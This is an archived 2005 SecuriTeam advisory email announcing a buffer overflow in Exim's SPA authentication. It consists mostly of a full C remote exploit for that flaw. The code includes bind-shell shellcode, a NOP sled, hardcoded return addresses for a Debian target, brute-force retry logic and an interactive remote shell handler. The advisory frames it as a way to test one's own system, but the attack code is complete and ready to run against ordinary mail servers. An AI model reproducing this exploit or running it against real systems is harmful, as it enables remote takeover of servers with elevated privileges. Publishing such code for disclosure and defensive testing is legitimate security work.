[EXPL] Exim auth_spa_server() Buffer Overflow Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 02/13/05
- Previous message: SecuriTeam: "[NT] ZoneAlarm Invalid Pointer Dereference Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Feb 2005 13:10:36 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Exim auth_spa_server() Buffer Overflow Exploit
------------------------------------------------------------------------
SUMMARY
<http://www.exim.org/> Exim is "a message transfer agent developed for
use on UNIX systems". Remote exploitation of a buffer overflow
vulnerability in Exim 4.41 allows execution of arbitrary commands with
elevated privileges. The following exploit code can be used to test your
system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* Exim version 4.42 and prior with SPA enabled
Immune Systems:
* Exim version 4.43 or newer with SPA enabled
* Exim with SPA disabled
Exploit:
/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SC_PORT 13370
#define NOP 0xfd
struct {
char *name;
int retaddr;
} targets[] = {
{ "Bruteforce", 0xbfffffff },
{ "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};
char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
struct {
struct sockaddr_in host;
int target;
int offset;
u_short wait;
} options;
static int brutemode;
int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int
inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);
int main(int argc, char **argv)
{
int address, sock_smtp, sock_shell;
banner();
parse_options(argc, argv);
address = targets[options.target].retaddr - options.offset;
brutemode = 0;
bruteforce:
if (!brutemode)
{
printf("[*] Connecting to %s:%d... ",
inet_ntoa(options.host.sin_addr),
ntohs(options.host.sin_port));
fflush(stdout);
}
sock_smtp = connect_port(ntohs(options.host.sin_port));
if (!brutemode)
{
if (!sock_smtp)
{
printf("failed.\n\n");
exit(-1);
}
printf("success.\n");
}
init_SPA(sock_smtp);
exploit(sock_smtp, address);
close(sock_smtp);
printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name,
address);
printf("[*] Exploit sent, spawning a shell... ");
fflush(stdout);
sleep(1); // patience grasshopper
sock_shell = connect_port(SC_PORT);
if (!sock_shell && options.target)
{
printf("failed.\n\n");
exit(-1);
}
if (!sock_shell)
{
printf("failed.\n\n");
address -= 1000 - strlen(sc);
brutemode = 1;
if (options.wait) sleep(options.wait);
goto bruteforce;
}
printf("success!\n\nEnjoy your shell :)\n\n");
shell(sock_shell);
return 0;
}
int connect_port(u_short port)
{
int sock;
struct sockaddr_in host;
memcpy(&host, &options.host, sizeof(options.host));
host.sin_port = ntohs(port);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0;
if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
{
close(sock);
return 0;
}
return sock;
}
void init_SPA(int sock)
{
char buffer[1024];
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
buffer[255] = '\0';
if (!brutemode)
printf("[*] Server banner: %s", buffer);
write(sock, "EHLO ECL.PWNZ.J00\n", 18);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "NTLM")))
printf("[?] Server doesn't seem to support SPA, trying anyway\n");
write(sock, "AUTH NTLM\n", 10);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "334")))
{
printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
exit(1);
}
if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}
void exploit(int sock, int address)
{
char exp[2000], exp_base64[2668];
int *address_p;
int i;
memset(exp, NOP, 1000);
memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
address_p = (int *)&exp[1000];
for (i=0; i<1000; i+=4)
*(address_p++) = address;
spa_bits_to_base64(exp_base64, exp, sizeof(exp));
write(sock, exp_base64, sizeof(exp_base64));
write(sock, "\n", 1);
}
void shell(int sock)
{
int n;
fd_set fd;
char buff[1024];
write(sock,"uname -a;id\n",12);
while(1)
{
FD_SET(sock, &fd);
FD_SET(0, &fd);
select(sock+1, &fd, NULL, NULL, NULL);
if( FD_ISSET(sock, &fd) )
{
n = read(sock, buff, sizeof(buff));
if (n < 0) err(1, "remote read");
write(1, buff, n);
}
if ( FD_ISSET(0, &fd) )
{
n = read(0, buff, sizeof(buff));
if (n < 0) err(1, "local read");
write(sock, buff, n);
}
}
}
char base64digits[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int
inlen)
{
for (; inlen >= 3; inlen -= 3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
*out++ = base64digits[in[2] & 0x3f];
in += 3;
}
if (inlen > 0)
{
unsigned char fragment;
*out++ = base64digits[in[0] >> 2];
fragment = (in[0] << 4) & 0x30;
if (inlen > 1)
fragment |= in[1] >> 4;
*out++ = base64digits[fragment];
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
*out++ = '=';
}
*out = '\0';
}
void parse_options(int argc, char **argv)
{
int ch;
struct hostent *hn;
memset(&options, 0, sizeof(options));
options.host.sin_family = AF_INET;
options.host.sin_port = htons(25);
options.target = -1;
options.wait = 1;
while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
switch(ch)
{
case 'h':
if ( (hn = gethostbyname(optarg)) == NULL)
errx(-1, "Unresolvable address\n");
memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
break;
case 'p':
options.host.sin_port = htons((u_short)atoi(optarg));
break;
case 't':
if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
errx(-1, "Bad target\n");
options.target = atoi(optarg);
break;
case 'o':
options.offset = atoi(optarg);
break;
case 'w':
options.wait = (u_short)atoi(optarg);
break;
case '?':
exit(1);
default:
usage(argv[0]);
}
if (!options.host.sin_addr.s_addr || (options.target == -1) )
usage(argv[0]);
}
void usage(char *cmd)
{
int i;
printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [
-w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
printf("Targets:\n");
for (i=0; i<(sizeof(targets)/8); i++)
printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
printf("\n");
exit(1);
}
void banner(void)
{
printf("\t\tExim <= 4.43 SPA authentication exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:yuri@eclipse.org.il> Yuri
Gushin.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] ZoneAlarm Invalid Pointer Dereference Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine
2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell;
... (Securiteam) - [EXPL] pServ User-Agent Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... User-Agent data handling allows
remote attackers to cause pServ to execute ... int op_plat_num; ... void
getshell; ... (Securiteam) - [NEWS] Festalon Heap Corruption
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void fwbof(FILE *fd, int
len, int chr); ... void fwi08(FILE *fd, int num) { ... (Securiteam) - [UNIX] Linux Kernel uselib() Privilege Elevation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... static int load_elf_library
... Obviously, if the kmem_cache_alloccall sleeps, the newly created VMA ... void
fatal ... (Securiteam) - [EXPL] EPIC4 CTCP Nicknames Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void send_mes(int fd,char *host);
... void wait_connection; ... unsigned int check_version = 0; ...
(Securiteam)